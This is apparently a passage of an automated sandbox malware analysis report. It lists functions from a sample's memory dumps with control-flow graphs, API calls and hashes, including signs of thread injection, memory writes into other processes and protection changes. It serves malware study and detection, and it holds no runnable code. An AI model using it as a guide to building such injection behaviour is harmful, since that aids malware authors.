                                            control_flow_graph 289 9393dc-939423 call 9341b0 292 9394c2-9394c9 289->292 293 939429-93945a RegQueryValueExA 289->293 296 9394cb-9394d3 292->296 297 9394fd-939505 292->297 294 939463-93946c call 9443bc 293->294 295 93945c-939461 293->295 300 939471-939480 294->300 295->294 295->300 302 9394f3 296->302 303 9394d5-9394f1 call 948174 296->303 298 939507-939520 297->298 299 939575-939584 297->299 309 939522-939564 298->309 310 93956e-93956f 298->310 304 939482-9394b5 300->304 305 9394b7-9394b8 300->305 302->297 303->297 303->302 304->305 305->292 309->310 310->299
                                            APIs
                                              • Part of subcall function 009341B0: RegCreateKeyA.ADVAPI32 ref: 009341D3
                                            • RegQueryValueExA.KERNELBASE ref: 00939450
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID: CreateQueryValue
                                            • String ID: ($(
                                            • API String ID: 2711935003-222463766
                                            • Opcode ID: b35e1ce125af1ec79d36f4233b3163c86ea3b56887f7c067b0bc1a0970e6635d
                                            • Instruction ID: 61dc535f1495b72a10db49a091c5da9174cd4ac617bccb8bfb345b968418cf7d
                                            • Opcode Fuzzy Hash: b35e1ce125af1ec79d36f4233b3163c86ea3b56887f7c067b0bc1a0970e6635d
                                            • Instruction Fuzzy Hash: F44183346187488FE768EF18E898B6677E5F798305F20452EE48AC32A0DF78D947CB45
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 009513D8 Relevance: 4.6, APIs: 3, Instructions: 101registrymemoryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 312 9513d8-951429 RegQueryValueExA 313 951431-951449 RtlAllocateHeap 312->313 314 95142b-95142f 312->314 316 951482-9514a9 RegQueryValueExA 313->316 317 95144b 313->317 315 951465-951481 314->315 318 95144e-951451 316->318 319 9514ab-9514b5 316->319 317->318 318->315 320 951453-95145d 318->320 319->315 320->315
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID: QueryValue$AllocateHeap
                                            • String ID:
                                            • API String ID: 2311914766-0
                                            • Opcode ID: ce1b48cd0dd4bba50ab9ae2856aff3067b3571e47f3cdbdfdbbff011cc8b130f
                                            • Instruction ID: e4388d0c62c79c7b888ebd62c0987fd09ccba53626650fb4491bb1f78c38b26e
                                            • Opcode Fuzzy Hash: ce1b48cd0dd4bba50ab9ae2856aff3067b3571e47f3cdbdfdbbff011cc8b130f
                                            • Instruction Fuzzy Hash: 4D31C53051CB088FDB48EF18D889A65B3E1FBA8301F11492EE849C7255DF74DC44CB82
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 0093DAE0 Relevance: 4.6, APIs: 3, Instructions: 96registryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 321 93dae0-93db28 RegQueryValueExA 322 93db2a-93db43 321->322 323 93db88-93dbab RegCloseKey 321->323 325 93db83 322->325 326 93db45-93db67 RegQueryValueExA 322->326 325->323 327 93db69-93db6d 326->327 328 93db6f-93db81 326->328 327->323 328->323
                                            APIs
                                            • RegQueryValueExA.KERNELBASE(?,?,?,?,?,?,?,?,?,-00000008,00000000,00940991), ref: 0093DB1E
                                            • RegQueryValueExA.KERNELBASE(?,?,?,?,?,?,?,?,?,-00000008,00000000,00940991), ref: 0093DB5D
                                            • RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,?,?,-00000008,00000000,00940991), ref: 0093DB8B
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID: QueryValue$Close
                                            • String ID:
                                            • API String ID: 1979452859-0
                                            • Opcode ID: 47c31ae35de2c41d9e7b6ee08798a5cbf8d2fdde0fc8c139ace9a658789905cb
                                            • Instruction ID: c7261272188da199b28e4c47224e4327e39dd68bd153c827ecb99744b837d911
                                            • Opcode Fuzzy Hash: 47c31ae35de2c41d9e7b6ee08798a5cbf8d2fdde0fc8c139ace9a658789905cb
                                            • Instruction Fuzzy Hash: 04215134619A088FE764EF68E859625B7E1FB98311F21446EE44AC3261DF34DD42CB42
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 0095DA00 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 311libraryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 554 95da00-95da7d 555 95daa4-95dad0 554->555 556 95da7f-95da9f 554->556 557 95dae6-95daea 555->557 558 95dad2-95dae4 555->558 563 95dcd6-95dced 556->563 560 95daee-95dafa 557->560 558->560 561 95dafc-95db0b 560->561 562 95db18-95db1b 560->562 573 95db11-95db12 561->573 574 95dcac-95dcb6 561->574 564 95db21-95db24 562->564 565 95dbef-95dbf7 562->565 567 95db26-95db36 564->567 568 95db38-95db49 LoadLibraryA 564->568 569 95dbf9-95dc06 565->569 570 95dc08-95dc0b 565->570 567->568 575 95dba3-95dbad 567->575 568->575 576 95db4b-95db5f 568->576 569->570 571 95dc11-95dc14 570->571 572 95dca8-95dca9 570->572 577 95dc16-95dc19 571->577 578 95dc3f-95dc53 571->578 572->574 573->562 581 95dcd3-95dcd4 574->581 582 95dcb8-95dccd 574->582 579 95dbdf-95dbe0 575->579 580 95dbaf-95dbb3 575->580 591 95db61-95db71 576->591 592 95db73-95db9e 576->592 577->578 585 95dc1b-95dc26 577->585 578->572 595 95dc55-95dc69 578->595 587 95dbe8-95dbe9 579->587 586 95dbb5-95dbc6 580->586 580->587 581->563 582->581 585->578 589 95dc28-95dc2d 585->589 586->587 598 95dbc8-95dbdd 586->598 587->565 589->578 593 95dc2f-95dc34 589->593 591->575 591->592 592->563 593->578 597 95dc36-95dc3d 593->597 601 95dc78-95dc7b 595->601 602 95dc6b-95dc76 595->602 597->572 597->578 598->587 601->572 603 95dc7d-95dca4 601->603 602->601 603->572
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID: LibraryLoad
                                            • String ID: H
                                            • API String ID: 1029625771-2852464175
                                            • Opcode ID: 7c9b74c16519185de65ec3be6f446f190774518fafa257a58b7a4500c5b861a7
                                            • Instruction ID: ec1f6d08df5a81a0cc6d268869fd1581c2df7470bae6934b713e05373ddbbb10
                                            • Opcode Fuzzy Hash: 7c9b74c16519185de65ec3be6f446f190774518fafa257a58b7a4500c5b861a7
                                            • Instruction Fuzzy Hash: 0EA1B230508F098FE765EF59D88976677E5FBA8306F00462ED88AC7261EF74D845CB82
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 0095BBCC Relevance: 3.2, APIs: 2, Instructions: 203memoryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 690 95bbcc-95bc14 call 957f58 693 95bd9d-95bda2 690->693 694 95bc1a-95bc33 call 93adf0 690->694 695 95bda6-95bdc6 693->695 699 95bd93-95bd9b 694->699 700 95bc39-95bc6a call 954344 694->700 699->695 700->695 704 95bc70-95bc78 700->704 705 95bcf3-95bd22 VirtualProtect 704->705 706 95bc7a-95bc7f 704->706 707 95bd24-95bd2c call 9446cc 705->707 708 95bd31-95bd89 call 957d48 705->708 706->705 709 95bc81-95bc93 call 9354d4 706->709 707->708 708->695 721 95bd8b-95bd91 708->721 709->705 714 95bc95-95bcad call 93adf0 709->714 714->705 719 95bcaf-95bced VirtualProtect 714->719 719->705 721->695
                                            APIs
                                              • Part of subcall function 0093ADF0: VirtualProtect.KERNELBASE ref: 0093AE23
                                            • VirtualProtect.KERNELBASE ref: 0095BCED
                                            • VirtualProtect.KERNELBASE ref: 0095BD10
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID: ProtectVirtual
                                            • String ID:
                                            • API String ID: 544645111-0
                                            • Opcode ID: 9a646e53d22d4ff0a0ef8bab3bb0cf1c9dc7eda843ba3c50e1fa2144b4cf2634
                                            • Instruction ID: 0c0e79a055ef9ed329d17073e4e148bc6355e2fee7c856992f3437d091001cb2
                                            • Opcode Fuzzy Hash: 9a646e53d22d4ff0a0ef8bab3bb0cf1c9dc7eda843ba3c50e1fa2144b4cf2634
                                            • Instruction Fuzzy Hash: B9515E70618F098FD744EF29D889725B7E4FB98312F10056EE84EC7261DB34E945CB86
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 00952550 Relevance: 3.2, APIs: 2, Instructions: 152COMMON
                                            Download Yara Rule
                                            APIs
                                            • StrRChrA.KERNELBASE ref: 009525C3
                                            • RtlAddVectoredContinueHandler.NTDLL ref: 009526B7
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID: ContinueHandlerVectored
                                            • String ID:
                                            • API String ID: 3758255415-0
                                            • Opcode ID: 7244c2c071395b83f47e7f4185413d39c7c9846b9b288bc70064fa91beeae027
                                            • Instruction ID: b47ac834f570b9deb8a8b8ca5efdf0daf7aa1dd13f7f6b626a3656c1d0127eae
                                            • Opcode Fuzzy Hash: 7244c2c071395b83f47e7f4185413d39c7c9846b9b288bc70064fa91beeae027
                                            • Instruction Fuzzy Hash: 0E41EB31609B098FEB54EF39D8586AA77D2FB99306F44422ED846C3275DF38C54ACB41
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 0094B7E4 Relevance: 3.1, APIs: 2, Instructions: 114registryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID: CloseOpen
                                            • String ID:
                                            • API String ID: 47109696-0
                                            • Opcode ID: a0cf2b580a12b57d53e2fc8da1228be4f0400b8a68e9a8c6729eb869a521bfc9
                                            • Instruction ID: 3af478ec10f5124eebee07724fc287b691c301b200849bafc7e6a313b1111ec0
                                            • Opcode Fuzzy Hash: a0cf2b580a12b57d53e2fc8da1228be4f0400b8a68e9a8c6729eb869a521bfc9
                                            • Instruction Fuzzy Hash: 52312F70618B0C8FD794EF68D894A6AB3E5FB98310B454A7EE44EC3251DB34D945CB82
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 009341B0 Relevance: 3.1, APIs: 2, Instructions: 60registryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID: CreateOpen
                                            • String ID:
                                            • API String ID: 436179556-0
                                            • Opcode ID: 57141b6d7e82af90fc252f8a6aff855dd69fc072bb2936abf4c2cedabf69c664
                                            • Instruction ID: 315a3b5eb93cb21104359c4db720af6174e770ddfdda47df6198734c3026d726
                                            • Opcode Fuzzy Hash: 57141b6d7e82af90fc252f8a6aff855dd69fc072bb2936abf4c2cedabf69c664
                                            • Instruction Fuzzy Hash: 44018430718A584FDB48DB5CD48872ABBE5EBF8351F11042DE88EC3264DAB4D9458B42
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 0094C9F0 Relevance: 3.1, APIs: 2, Instructions: 59threadinjectionCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID: CreateQueueThreadUser
                                            • String ID:
                                            • API String ID: 3600083758-0
                                            • Opcode ID: f9d1119d2a6f7ede32f3f151a7b292346c93d34cb54adac41a0938bd19bbd9d1
                                            • Instruction ID: bd9a591b07857abc1de3f0cd8135c4b0e50bb2e7a8dcbeb59bbf78864a9585de
                                            • Opcode Fuzzy Hash: f9d1119d2a6f7ede32f3f151a7b292346c93d34cb54adac41a0938bd19bbd9d1
                                            • Instruction Fuzzy Hash: EF017130719A084FAB84EF6C984D76977E2EBA8711B14816AE409C32B0DF38DC518782
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 0093A818 Relevance: 1.7, APIs: 1, Instructions: 216memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID: ProtectVirtual
                                            • String ID:
                                            • API String ID: 544645111-0
                                            • Opcode ID: 6ab6c86adb017c4e84a6470e463e0485530ff109559b57c5f29df82044cb1b19
                                            • Instruction ID: 0fc8a6c2cafdb5d50d3f0bda7062f3767bd19395f0d56fa7c457b5c508fd99e4
                                            • Opcode Fuzzy Hash: 6ab6c86adb017c4e84a6470e463e0485530ff109559b57c5f29df82044cb1b19
                                            • Instruction Fuzzy Hash: F5616730618F059FD754EF18D489A25B7E0FB68301F51562EE88AC3661EB34EC42CF82
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 0095578C Relevance: 1.7, APIs: 1, Instructions: 162COMMON
                                            Download Yara Rule
                                            APIs
                                            • RtlDeleteBoundaryDescriptor.NTDLL ref: 009558D2
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID: BoundaryDeleteDescriptor
                                            • String ID:
                                            • API String ID: 3203483114-0
                                            • Opcode ID: a464e65bd05371995ba58b037e9fe69ffc8a260ab8f58263af6dd64cee76a8d2
                                            • Instruction ID: 7d7057321026e84568181d0f77a3b7e6bb8b2ffa8ac8404fbf72fd46c0163dec
                                            • Opcode Fuzzy Hash: a464e65bd05371995ba58b037e9fe69ffc8a260ab8f58263af6dd64cee76a8d2
                                            • Instruction Fuzzy Hash: A3413B30618E1C8FDB58EF6DEC95AA673E5F798711B51412DE50AC3223C978DC89C781
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 00951DD4 Relevance: 1.6, APIs: 1, Instructions: 107processCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID: CreateProcess
                                            • String ID:
                                            • API String ID: 963392458-0
                                            • Opcode ID: 30f9175c1fde03cfb4c82ebb0e7d8c3e0b89cf6e7b8fbeb59b9420b877661a43
                                            • Instruction ID: fc16b32e95a4d471bb61ce85dfad26fbcba725a7acc8df09605ebbf2cb1a3a74
                                            • Opcode Fuzzy Hash: 30f9175c1fde03cfb4c82ebb0e7d8c3e0b89cf6e7b8fbeb59b9420b877661a43
                                            • Instruction Fuzzy Hash: 7B314F7060CB084FDB94EF1D9889B6577E5FB98311F01466EE84DC3262DB70EC458786
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 0093C088 Relevance: 1.6, APIs: 1, Instructions: 105COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID: Sleep
                                            • String ID:
                                            • API String ID: 3472027048-0
                                            • Opcode ID: aea9cbd2d73816048cc4defc325b6d5fd571de504d5c21790c552a3858797b3b
                                            • Instruction ID: 15afee7f20c7c3f2a0f97fe7c537aae45bcb5c8b541a07f27e9b651214d915d6
                                            • Opcode Fuzzy Hash: aea9cbd2d73816048cc4defc325b6d5fd571de504d5c21790c552a3858797b3b
                                            • Instruction Fuzzy Hash: 4131A4703186048BAB69EF79ECD5A2A33E6FBD93017214539A407C3266DF38D807DB42
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 00952CAC Relevance: 1.6, APIs: 1, Instructions: 104COMMON
                                            Download Yara Rule
                                            APIs
                                            • RtlDeleteBoundaryDescriptor.NTDLL ref: 00952D4E
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID: BoundaryDeleteDescriptor
                                            • String ID:
                                            • API String ID: 3203483114-0
                                            • Opcode ID: b0ee12697e3e25b056390eac6d1818c82e704653e537f7e096773c8fe93a3816
                                            • Instruction ID: 983075bc6b32123924a8be1ca13f9401a553a16d46ddbf81382dc51635d59489
                                            • Opcode Fuzzy Hash: b0ee12697e3e25b056390eac6d1818c82e704653e537f7e096773c8fe93a3816
                                            • Instruction Fuzzy Hash: 2B218830618A0C4FE798EF69A84977973E1F799302F10852DE98FC3261DE24DD4A8B81
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 00956070 Relevance: 1.6, APIs: 1, Instructions: 74COMMON
                                            Download Yara Rule
                                            APIs
                                            • FindCloseChangeNotification.KERNELBASE ref: 0095611C
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID: ChangeCloseFindNotification
                                            • String ID:
                                            • API String ID: 2591292051-0
                                            • Opcode ID: 399cac4ed0b11f5e18c23d9d800f4458c8b048667792aa1e19967bd08cdd993c
                                            • Instruction ID: 27b13b335fb1ce5eb970fed7d241d5418bf8ba234fd3958709be5500dcaa0217
                                            • Opcode Fuzzy Hash: 399cac4ed0b11f5e18c23d9d800f4458c8b048667792aa1e19967bd08cdd993c
                                            • Instruction Fuzzy Hash: D0217231208F0A8FEB54EF2DD894AAA77F1FB98305F40452DE95AC7261DF74D8448B41
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 0093ADF0 Relevance: 1.6, APIs: 1, Instructions: 74memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID: ProtectVirtual
                                            • String ID:
                                            • API String ID: 544645111-0
                                            • Opcode ID: 6578fe9b7a76da222662733dba6016d78e018f3eecfa7a9d764e1c32e71b09c1
                                            • Instruction ID: a1cd924a1f159c288d830ad7bd453c4b207dbeac6a565ffe4d278ee460f7836a
                                            • Opcode Fuzzy Hash: 6578fe9b7a76da222662733dba6016d78e018f3eecfa7a9d764e1c32e71b09c1
                                            • Instruction Fuzzy Hash: 6911933160CB088FAB24EF58E449025B7E9EB98300B10063DED8BC3355EB70ED058B86
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 009594F4 Relevance: 1.6, APIs: 1, Instructions: 53COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00932B58: NtWriteVirtualMemory.NTDLL ref: 00932B77
                                            • VirtualProtectEx.KERNELBASE ref: 00959548
                                            Memory Dump Source
                                            • Source File: 0000001A.00000002.608200702.0000000000931000.00000020.80000000.00040000.00000000.sdmp, Offset: 00931000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_26_2_931000_control.jbxd
                                            Similarity
                                            • API ID: Virtual$MemoryProtectWrite
                                            • String ID:
                                            • API String ID: 1789425917-0
                                            • Opcode ID: e4c6a8685f3ab2bf1ea0d91506dde8bd279372870e36f81048b24deda59ac9d8
                                            • Instruction ID: f69ce270afdf99512f405ecbe987c8d91a98893b9dcc07f70107e2f3fe2fd363
                                            • Opcode Fuzzy Hash: e4c6a8685f3ab2bf1ea0d91506dde8bd279372870e36f81048b24deda59ac9d8
                                            • Instruction Fuzzy Hash: CA017C70618B488FCB48EF58A0C5529B7E0FB9C311F5005AEE80DC7246DB70DD45CB86
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Executed Functions

                                            Function 0000028A77767DB4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 113nativeCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000028.00000002.608362362.0000028A77741000.00000020.80000000.00040000.00000000.sdmp, Offset: 0000028A77741000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_40_2_28a77741000_rundll32.jbxd
                                            Similarity
                                            • API ID: InformationQueryToken$Close
                                            • String ID: 0
                                            • API String ID: 459398573-4108050209
                                            • Opcode ID: 8f459d0809fb6108b636d5ca042d46abcd9692ce79b6343a060e938baadf2093
                                            • Instruction ID: fb987f98bdb1882c11c6bad3ac5e3652283ca7d83c5e94adfe18c602bd9259c1
                                            • Opcode Fuzzy Hash: 8f459d0809fb6108b636d5ca042d46abcd9692ce79b6343a060e938baadf2093
                                            • Instruction Fuzzy Hash: F2413F34619B488FE764EF18D8D8B9AB7E1FBD8301F50492EE48EC3155DB349945CB82
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 0000028A77758C30 Relevance: 4.1, APIs: 2, Instructions: 1069synchronizationCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 89 28a77758c30-28a77758caf 92 28a77758cb1-28a77758ce3 call 28a777651f8 89->92 93 28a77758ce5-28a77758ce6 89->93 94 28a77758ce8-28a77758ceb 92->94 93->94 96 28a77758cf1-28a77758d1a CreateMutexExA 94->96 97 28a7775985a-28a77759876 94->97 101 28a77758d1c-28a77758d21 96->101 102 28a77758d38-28a77758d3b 96->102 103 28a77758d23-28a77758d30 101->103 104 28a77758d35-28a77758d36 101->104 105 28a77758d41-28a77758d68 102->105 106 28a77759857-28a77759858 102->106 103->106 104->102 109 28a77758e2f-28a77758e30 105->109 110 28a77758d6e-28a77758dba 105->110 106->97 111 28a77758e32-28a77758e35 109->111 123 28a77758dd1-28a77758de1 110->123 124 28a77758dbc-28a77758dc3 110->124 111->97 112 28a77758e3b-28a77758e7c 111->112 116 28a77758f20-28a77758f21 112->116 117 28a77758e82-28a77758e88 112->117 121 28a77758f23-28a77758f26 116->121 118 28a77758e8a-28a77758e98 117->118 119 28a77758ef6-28a77758f1e call 28a777640ec 117->119 122 28a77758e9a-28a77758ee2 118->122 119->121 121->97 126 28a77758f2c-28a77758f47 GetUserNameA 121->126 129 28a77758eee-28a77758ef4 122->129 130 28a77758ee4-28a77758ee8 122->130 132 28a77758de7-28a77758e10 123->132 124->123 131 28a77758dc5-28a77758dcb call 28a7774fa80 124->131 127 28a77758f49-28a77758f65 126->127 128 28a77758f78-28a77758f8a 126->128 127->128 141 28a77758f67-28a77758f70 127->141 134 28a77758f8c-28a77758f91 128->134 135 28a77758f93-28a77758fdc 128->135 129->119 129->122 130->129 131->123 145 28a77758e12-28a77758e2d 132->145 134->135 138 28a77758ffe-28a77759003 134->138 152 28a77758fef-28a77758ff0 135->152 153 28a77758fde-28a77758fe7 135->153 142 28a77759045-28a77759048 138->142 143 28a77759005-28a77759026 138->143 141->128 146 28a7775905f-28a77759096 142->146 147 28a7775904a-28a7775905a call 28a777441aa 142->147 158 28a7775903a-28a77759042 143->158 159 28a77759028-28a7775902f 143->159 145->111 154 28a777590f9 146->154 155 28a77759098-28a777590b8 146->155 147->146 157 28a77758ff8 152->157 165 28a77758fed 153->165 166 28a7775911c-28a77759128 153->166 160 28a777590fe-28a77759101 154->160 169 28a777590be-28a777590dc call 28a77743dd8 155->169 157->138 158->142 159->158 163 28a77759031-28a77759038 159->163 160->97 164 28a77759107-28a7775910a 160->164 163->142 170 28a7775910c call 28a7776578c 164->170 171 28a77759113-28a77759116 164->171 165->157 167 28a7775912a-28a7775915b call 28a77747b98 166->167 168 28a777591a2-28a777591b4 call 28a77761ed4 166->168 167->168 182 28a7775915d-28a77759165 167->182 180 28a777591ee-28a77759200 call 28a7774d2ec 168->180 181 28a777591b6-28a777591e7 call 28a77747b98 168->181 183 28a777590de-28a777590e7 169->183 184 28a777590eb 169->184 176 28a77759111 170->176 171->97 171->166 176->171 193 28a77759208 call 28a777493dc 180->193 192 28a777591e9-28a777591ea 181->192 181->193 182->168 187 28a77759167-28a7775919c call 28a7775eb8c 182->187 183->169 188 28a777590e9 183->188 189 28a777590f0-28a777590f7 184->189 187->168 188->189 189->160 192->180 197 28a7775920d-28a7775924f call 28a77748184 193->197 201 28a77759251-28a77759270 197->201 202 28a77759278-28a77759285 call 28a77749588 197->202 201->202 202->97 206 28a7775928b-28a777592a4 202->206 206->97 208 28a777592aa-28a777592d2 206->208 210 28a777592f8-28a77759322 call 28a7775c9f0 208->210 211 28a777592d4-28a777592e9 208->211 215 28a77759331-28a77759340 210->215 216 28a77759324-28a7775932c 210->216 211->210 217 28a777592eb-28a777592f3 211->217 218 28a77759346-28a7775937c call 28a777640ec 215->218 219 28a77759609-28a77759610 215->219 216->97 217->97 239 28a7775937e-28a77759385 218->239 240 28a77759389-28a7775938c 218->240 220 28a77759616-28a7775963a call 28a777441b0 219->220 221 28a77759798-28a777597a1 219->221 231 28a77759640-28a77759660 call 28a7774dae0 220->231 232 28a777596dd-28a777596fe call 28a777441b0 220->232 221->106 224 28a777597a7-28a777597ac 221->224 227 28a7775981e-28a7775984c call 28a7775c9f0 224->227 228 28a777597ae-28a777597b1 224->228 227->216 241 28a77759852-28a77759854 227->241 233 28a777597c3-28a777597e0 228->233 234 28a777597b3-28a777597bd 228->234 231->232 248 28a77759662-28a7775966f 231->248 232->221 247 28a77759704-28a77759721 call 28a7774dae0 232->247 233->227 250 28a777597e2-28a77759814 233->250 234->233 239->240 240->97 245 28a77759392-28a7775945f call 28a77744244 * 4 240->245 241->106 272 28a77759461-28a77759468 245->272 273 28a777594cd-28a777594d0 245->273 247->221 258 28a77759723-28a77759730 247->258 252 28a77759671-28a777596b6 call 28a7776b3a8 call 28a7774a044 248->252 253 28a777596cb-28a777596d5 248->253 250->227 252->253 275 28a777596b8-28a777596c6 call 28a77744070 252->275 253->232 261 28a77759786-28a77759790 258->261 262 28a77759732-28a77759778 call 28a7776b3a8 call 28a7774a044 258->262 261->221 262->261 283 28a7775977a-28a77759781 call 28a77751f1c 262->283 272->273 277 28a7775946a-28a77759485 272->277 273->97 276 28a777594d6-28a777594dd 273->276 275->253 280 28a777594df-28a777594ee 276->280 281 28a777594f4-28a77759513 276->281 287 28a7775948f-28a777594bb call 28a7775c9f0 277->287 288 28a77759487-28a7775948d 277->288 280->281 289 28a77759553-28a77759593 281->289 290 28a77759515-28a7775954e call 28a77762400 281->290 283->261 287->273 297 28a777594bd-28a777594c3 287->297 295 28a777594cb 288->295 298 28a777595d6-28a777595dc 289->298 299 28a77759595-28a777595b2 call 28a7775c9f0 289->299 290->289 295->273 297->295 306 28a777595de-28a777595e1 298->306 304 28a777595bb-28a777595d4 299->304 305 28a777595b4-28a777595b9 299->305 304->306 305->306 306->97 307 28a777595e7-28a777595f2 306->307 307->221 309 28a777595f8-28a77759604 call 28a77758af4 307->309 309->221
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000028.00000002.608362362.0000028A77741000.00000020.80000000.00040000.00000000.sdmp, Offset: 0000028A77741000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_40_2_28a77741000_rundll32.jbxd
                                            Similarity
                                            • API ID: CreateUser$MutexNameQueueThread
                                            • String ID:
                                            • API String ID: 2503873790-0
                                            • Opcode ID: 941571099aad18ea7affcf372cf637b6d2292183614781d015a78eef3a685228
                                            • Instruction ID: ae154cf1c4407819927ea9b121f06c4f5a0353570372d57bd0a9e9e5b430085d
